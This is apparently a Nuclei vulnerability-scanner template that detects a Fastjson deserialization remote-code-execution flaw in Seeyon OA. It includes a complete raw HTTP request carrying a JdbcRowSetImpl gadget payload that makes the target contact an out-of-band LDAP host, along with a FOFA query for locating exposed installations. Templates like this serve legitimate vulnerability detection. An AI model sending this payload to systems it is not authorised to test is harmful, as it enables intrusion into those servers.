id: seeyon-oa-fastjson-rce

info:
  name: Seeyon OA Fastjson Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: Seeyon OA Fastjson is vulnerable to RCE.
  reference:
    - https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
    - https://github.com/hktalent/scan4all/blob/main/pocs_go/seeyon/SeeyonFastjson.go
  classification:
    cwe-id: CWE-94,CWE-502
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="致远互联-OA"
  tags: seeyon,oa,rce,fastjson,oast,vuln

http:
  - raw:
      - |
        POST /seeyon/main.do?method=changeLocale HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "com.alibaba.fastjson.JSONException"
# digest: 4a0a0047304502207a72e2b01f5cd688a8ee63fe9e04dda373a43d015da5d9bfad9e67afbb26ef71022100d9082f532129fb52a0962a804b5915d1e1abb6420d23d484435a618ea9dac75f:922c64590222798bb761d5b6d8e72950